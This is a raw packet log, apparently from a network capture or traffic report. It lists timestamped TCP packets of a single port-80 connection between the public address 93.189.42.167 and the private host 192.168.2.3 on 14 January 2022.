Jan 14, 2022 02:04:59.008563995 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008605957 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008652925 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008706093 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008733988 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008754969 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.008796930 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008801937 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.008807898 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.009032011 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.053925037 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.053980112 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054022074 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054074049 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054116964 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054132938 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054155111 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054163933 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054203033 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054243088 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054282904 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054302931 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054328918 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054369926 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054414034 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054454088 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054476023 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054482937 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054502010 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054553986 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054594040 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054615974 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054621935 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054642916 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054687977 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054725885 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054761887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054797888 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054804087 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054814100 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054867029 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054903984 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054943085 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054986000 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.054989100 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.054995060 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.055037975 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.055069923 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.055424929 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.059694052 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059737921 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059777021 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059818983 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.059824944 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059866905 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059923887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059926987 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.059974909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.059977055 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060019016 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060058117 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060106039 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060157061 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060159922 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060204983 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060245037 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060245991 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060300112 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060308933 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060343981 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060389996 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060394049 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060431957 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060482979 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060483932 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060525894 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060547113 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060575008 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060626984 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060674906 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.060678959 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.060791969 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.105777025 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.105834961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.105886936 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.105906010 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.105937958 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.105969906 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106004000 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106031895 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106040001 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106065035 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106076002 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106125116 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106149912 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106161118 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106192112 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106230974 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106261015 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106285095 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106291056 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106298923 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106337070 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106374979 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106391907 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106406927 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106430054 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106455088 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106503963 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106554985 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106594086 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106604099 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106626987 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106666088 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106707096 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106709003 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106712103 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106714964 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.106745005 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.106808901 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111392021 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111414909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111432076 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111551046 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111577988 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111594915 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111610889 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111628056 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111648083 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111650944 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111668110 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111668110 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111671925 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111689091 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111702919 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111709118 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111726999 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111743927 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111763954 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111780882 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111800909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111803055 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111807108 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111818075 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111838102 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111845016 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111854076 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111875057 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111892939 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.111903906 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.111910105 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.112006903 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157417059 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157447100 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157468081 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157485008 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157506943 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157532930 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157550097 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157565117 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157574892 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157586098 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157597065 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157603025 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157615900 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157638073 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157656908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157674074 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157680035 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157685041 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157695055 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157711983 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157732964 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157746077 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157752037 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157769918 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157788992 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157804966 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157823086 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157835960 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157840014 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157843113 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157880068 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157887936 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157901049 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157918930 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157938957 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.157938957 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157943964 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.157998085 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.164701939 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164726019 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164742947 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164762020 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164778948 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164796114 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164817095 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164823055 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.164835930 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164851904 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164870024 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164890051 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164911032 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164911032 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.164917946 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.164930105 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164947033 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164966106 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164987087 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.164988995 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.164994001 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165004015 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165020943 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165041924 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165059090 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165070057 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165074110 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165081978 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165106058 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165128946 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165132999 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165154934 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165179968 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165193081 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165198088 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165204048 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165226936 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165250063 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165273905 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165292978 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165297031 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165298939 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165321112 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165345907 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165369034 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165378094 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165391922 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165415049 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165436983 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165440083 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165441036 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165463924 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165481091 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165503025 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165525913 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165529013 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165534973 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165544987 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165560961 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165580034 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165597916 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165612936 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165616989 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165620089 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165637970 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165658951 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165676117 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165678978 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165697098 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165716887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165723085 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165735960 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165752888 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165772915 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165793896 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165796041 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165802002 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165810108 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165827990 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165844917 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165863037 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165880919 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165882111 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165899038 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165918112 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165920019 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.165935993 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.165955067 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.166007996 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.166013002 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209062099 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209136009 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209194899 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209256887 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209316969 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209372997 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209389925 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209419012 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209469080 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209482908 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209490061 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209513903 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209558010 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209604025 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209644079 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209661961 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209670067 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209692001 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209729910 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209768057 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209815979 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209877014 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209887981 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.209889889 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209933043 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.209974051 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210011959 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210058928 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210098028 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210113049 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.210120916 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.210145950 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210149050 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.210189104 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210227013 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210268021 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.210323095 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.210331917 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.216703892 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.216744900 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.216785908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.216913939 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.216922045 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.216979980 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217036963 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217067003 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217096090 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217149973 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217190027 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217206001 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217214108 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217235088 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217272997 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217314005 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217353106 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217398882 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217437983 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.217442036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217488050 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.217526913 CET	80	49838	93.189.42.167	192.168.2.3
